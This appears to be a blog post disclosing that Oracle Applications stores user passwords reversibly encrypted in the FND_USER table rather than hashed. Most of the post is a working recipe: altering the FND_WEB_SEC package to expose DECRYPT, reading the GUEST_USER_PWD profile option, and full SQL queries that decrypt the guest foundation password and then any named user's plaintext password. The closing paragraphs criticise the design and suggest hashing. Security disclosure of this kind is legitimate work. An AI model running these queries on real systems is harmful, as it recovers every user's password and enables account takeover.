Oracle Applications Passwords Decryption Vulnerability.

Oracle Applications is currently one of the leading ERP systems and used by medium and large sized companies around the world. As those companies base their trust in this ERP platform for their day-to-day business, they also put their trust in the way Oracle Applications handles the security and authentication. If this trust is based on hard facts or upon a feeling is questionable, looking at the authentication mechanism it comes to mind that this trust is based upon a feeling.

As part of a customization project I had to take a close look at the way Oracle Applications creates new user accounts. The reason that made me investigate deeper into the mechanism of user authentication was the discovery that Oracle apps is not storing a hash value of the password, instead Oracle is storing the complete password in an encrypted form in the database. The encrypted passwords can be found by querying the table FND_USER table:

/*--------------------------------------------------------------*/
select * from fnd_user;
/*--------------------------------------------------------------*/

As there is no password hash stored the user authentication has to be done on the real password. To compare the password entered by the user against the stored encrypted password Oracle is decrypting the stored encrypted password first. Meaning the mechanism has to have access to a decryption algorithm. To decrypt and verify user passwords Oracle apps make use of the FND_WEB_SEC package which can be found in the oracle Apps schema. The DECRYPT function in the FND_WEB_SEC package is a local function and cannot be called from outside the package:

/*--------------------------------------------------------------*/
-- Decrypt function in the FND_WEB_SEC package.
function decrypt(key in varchar2, value in varchar2)
return varchar2
as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
/*--------------------------------------------------------------*/

To make the function available outside the package the package specification has to be altered and the following lines have to added to the package specifications:

/*--------------------------------------------------------------*/
function decrypt(key in varchar2, value in varchar2)
return varchar2;
/*--------------------------------------------------------------*/

After altering this we have access to the DECRYPT function from outside the package and we can call the function and use it. For the function to work correctly there are two required values, the first value is the decryption key the second is the encrypted password which you want to be decrypted. The encrypted password can be found under “FND_USER.ENCRYPTED_USER_PASSWORD”. The decryption key for the user password is the decrypted “ENCRYPTED_FOUNDATION_PASSWORD” of the guest user.

Meaning that the first step to decrypt the user password is to decrypt the foundation password of the guest user. When Oracle Apps is verifying a login attempt it will also needs to perform those steps so we can find the standard Oracle approach of decrypting the foundation password in the FND_WEB_SEC package under the function “get_foundation_password”.

Looking at the FND_WEB_SEC.get_foundation_password function teaches us that the decryption key to decrypt ”ENCRYPTED_FOUNDATION_PASSWORD” of the guest user is the password of the guest user. This password is stored, together with the username of the guest user, under the Oracle profile option GUEST_USER_PWD. Executing the following query can retrieve the profile option value.
/*--------------------------------------------------------------*/
SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual;
/*--------------------------------------------------------------*/
Having the value of this profile option will enable you to decrypt the foundation password of the guest user, which can be used as the decryption key for the other user passwords. In the example below the foundation password of the guest user is retrieved from the database:

/*--------------------------------------------------------------*/
SELECT(
SELECT
fnd_web_sec.decrypt(
UPPER((SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual))
,usertable.encrypted_foundation_password)
FROM dual
) AS apps_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper(
(SELECT
substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
FROM dual)
)
/*--------------------------------------------------------------*/

Having this password/decryption key you can now start decrypting all the other user passwords. To make things somewhat easier you can execute the following query that will ask you a username and return the decrypted password of this user account for you.

/*--------------------------------------------------------------*/
SELECT
usertable.user_name
,(SELECT
fnd_web_sec.decrypt(UPPER((
SELECT(
SELECT
fnd_web_sec.decrypt(UPPER(
(SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual)
)
,usertable.encrypted_foundation_password)
FROM dual
) AS apps_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper(
(SELECT
substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
FROM dual)
)
)
),usertable.encrypted_user_password)
FROM
dual
) AS encrypted_user_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper('&username')
/*--------------------------------------------------------------*/

This however has still only returned the user password of a user account, if you also want to have the decrypted foundation password of a user account we have to take a closer look at the way the foundation passwords for a user account are decrypted. First take a close look at the way the user foundation password is encrypted by Oracle:

/*--------------------------------------------------------------*/
encFndPwd := encrypt(user||'/'||pwd,fndPwd);
/*--------------------------------------------------------------*/
This learns us that the combination username / password is used to encrypt the foundation password. As we already have decrypted the user password and we know the username we can easily combine those so we have the decryption key. However there is no real use to decrypt the foundation password of the user account because this will be exactly the same foundation password as the one for the guest user. Oracle uses this mechanism to obtain the user foundation password with only the knowledge of the username and password given by the user who tries to login. Using those queries you will be able to decrypt all user passwords available in the FND_USER table.

In my opinion this way of encrypting and storing passwords is so insecure that it is almost unacceptable. Oracle most likely will plead that people having access to the FND_WEB_SEC package under the apps schema are the only people able to use this exploit. However in a normal business environment this will go for almost every apps programmer and consultant who need access to the apps schema to be able to develop new functions in the development environment. If the business logic of the company is not requiring the passwords to be reset when a system is cloned from a production environment to a development environment this can cause a serious security risk.

A better way of handling the encryption and storage of the user passwords would be simply store hash values of the user passwords or using a random value for the foundation password. The decrypted random foundation password then can be used as a decryption key to decrypt the user password and verify that it is the same as the password given by the user attempting to login.

Looking at this mechanism proves that the security of Oracle Applications has to be improved in my opinion and that the trust that is given to this mechanism is based upon a feeling and not based upon good research by the companies relying on this security for there day-to-day business.

I have reported the problem a couple of months ago to Oracle however have never received a response, this is the reason I decided to post those results on my weblog in the hope some developer can come up with a solution, or, Oracle is picking this up finally and will come up with a suitable solution.